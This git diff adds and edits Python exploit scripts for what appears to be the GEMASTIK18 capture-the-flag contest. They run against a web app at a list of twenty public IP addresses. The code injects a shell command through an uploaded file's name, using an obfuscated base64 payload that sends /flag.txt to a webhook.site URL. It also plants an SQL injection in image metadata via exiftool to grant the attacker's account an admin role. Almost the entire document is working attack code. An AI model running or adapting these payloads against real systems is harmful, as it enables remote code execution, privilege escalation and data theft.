added patch notes
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@@ -4,7 +4,7 @@ from pathlib import Path
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import random
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import string
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HOST = "http://localhost:4400"
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HOST = "http://54.179.69.160:10000"
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REGISTER_URL = HOST + "/register"
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LOGIN_URL = HOST + "/login"
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CREATE_URL = HOST + "/create"
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@@ -19,7 +19,7 @@ def generate_random_string(length=8):
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USERNAME = generate_random_string()
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PASSWORD = generate_random_string()
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# choose payload variant: either use subshell $() or backticks `...`
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filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
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filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
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# choose which to use:
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filename_payload = filename_payload # or payload_backticks
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@@ -33,6 +33,7 @@ if r.status_code != 200:
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exit(1)
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else:
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print(f"Registered user: {USERNAME}")
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print(f"Registered PASSWORD: {PASSWORD}")
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r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
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if r.status_code != 200:
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@@ -7,7 +7,7 @@ from pathlib import Path
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print("SQLi (VULN 2) Exploit")
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HOST = "http://localhost:4400"
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HOST = "http://54.179.69.160:10000"
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REGISTER_URL = HOST + "/register"
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LOGIN_URL = HOST + "/login"
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CREATE_URL = HOST + "/create"
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@@ -46,6 +46,7 @@ if r.status_code != 200:
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exit(1)
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else:
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print(f"Registered user: {USERNAME}")
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print(f"Registered PASSWORD: {PASSWORD}")
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# 3) Login with the new user
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r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
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@@ -86,7 +87,7 @@ else:
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# 6) Visit the profile page and search for the flag
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r = s.get(PROFILE_URL)
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print("Profile page status:", r.status_code)
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flag_pattern = r"GEMASTIK\{.*?\}"
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flag_pattern = r"GEMASTIK18\{.*?\}"
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flag = re.search(flag_pattern, r.text)
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if flag:
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print("Flag found:", flag.group(0))
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@@ -0,0 +1,133 @@
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#!/usr/bin/env python3
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import requests
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import random
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import string
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import re
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import subprocess
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from pathlib import Path
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# List of server IPs to test
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SERVERS = [
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"54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226",
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"52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58",
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"18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208",
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"47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157",
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"13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213"
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]
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PORT = "10000"
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# Generate random username and password
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def generate_random_string(length=8):
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return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
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# Command injection payload
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CMD_PAYLOAD = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
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# SQLi payload
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SQLI_PAYLOAD = "a'; UPDATE users SET role='admin' WHERE username='{}';--"
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# Local image files
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CMD_IMAGE = "test.png" # For command injection
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SQLI_IMAGE = "sqli.png" # For SQLi
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def exploit_server(host):
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print(f"\nTesting server: {host}")
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BASE_URL = f"http://{host}:{PORT}"
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REGISTER_URL = BASE_URL + "/register"
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LOGIN_URL = BASE_URL + "/login"
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CREATE_URL = BASE_URL + "/create"
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HOME_URL = BASE_URL + "/"
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PROFILE_URL = BASE_URL + "/profile"
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# Generate credentials
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USERNAME = generate_random_string()
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PASSWORD = generate_random_string()
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print(f"Generated credentials: Username={USERNAME}, Password={PASSWORD}")
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s = requests.Session()
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# Step 1: Register a new user
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r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
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if r.status_code != 200:
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print(f"Registration failed on {host}. Status: {r.status_code}")
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return False
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print(f"Registered user: {USERNAME}")
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# Step 2: Log in
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r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
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if r.status_code != 200:
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print(f"Login failed on {host}. Status: {r.status_code}")
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return False
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print(f"Logged in. Cookies: {s.cookies.get_dict()}")
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# Step 3: Command injection via filename
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cmd_img_path = Path(CMD_IMAGE)
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if not cmd_img_path.exists():
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print(f"Command injection image {CMD_IMAGE} not found")
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return False
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with open(cmd_img_path, "rb") as fh:
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files = {"image": (CMD_PAYLOAD, fh, "image/jpeg")}
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data = {"title": "Command Injection Payload", "content": "CTF attempt"}
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r = s.post(CREATE_URL, data=data, files=files)
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print(f"Command injection upload status on {host}: {r.status_code}")
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print(f"Upload response: {r.text[:800]}")
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# Step 4: SQL injection via image metadata
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sqli_img_path = Path(SQLI_IMAGE)
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if not sqli_img_path.exists():
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print(f"SQLi image {SQLI_IMAGE} not found")
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return False
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try:
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subprocess.run([
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"exiftool",
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"-overwrite_original",
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f"-Comment={SQLI_PAYLOAD.format(USERNAME)}",
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SQLI_IMAGE
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], check=True)
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print(f"Modified {SQLI_IMAGE} with SQLi payload")
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except subprocess.CalledProcessError as e:
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print(f"Failed to modify {SQLI_IMAGE} with exiftool: {e}")
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return False
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with open(sqli_img_path, "rb") as fh:
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files = {"image": (SQLI_IMAGE, fh, "image/png")}
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data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
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r = s.post(CREATE_URL, data=data, files=files)
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print(f"SQLi upload status on {host}: {r.status_code}")
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# Step 5: Get home page to find newest post ID
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r = s.get(HOME_URL)
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print(f"Home page status on {host}: {r.status_code}")
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post_ids = re.findall(r'/post/(\d+)', r.text)
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if post_ids:
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max_id = max(map(int, post_ids))
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print(f"Newest post ID: {max_id}")
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else:
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print(f"No post IDs found on {host}")
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return False
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# Step 6: Check profile for flag
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r = s.get(PROFILE_URL)
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print(f"Profile page status on {host}: {r.status_code}")
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flag_pattern = r"GEMASTIK18\{.*?\}"
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flag = re.search(flag_pattern, r.text)
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if flag:
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print(f"Flag found on {host}: {flag.group(0)}")
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return True
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else:
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print(f"Flag not found on {host}")
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return False
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def main():
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print("Starting CTF Exploit")
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for host in SERVERS:
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success = exploit_server(host)
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if success:
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print(f"Exploit succeeded on {host}")
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else:
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print(f"Exploit failed on {host}")
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if __name__ == "__main__":
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main()
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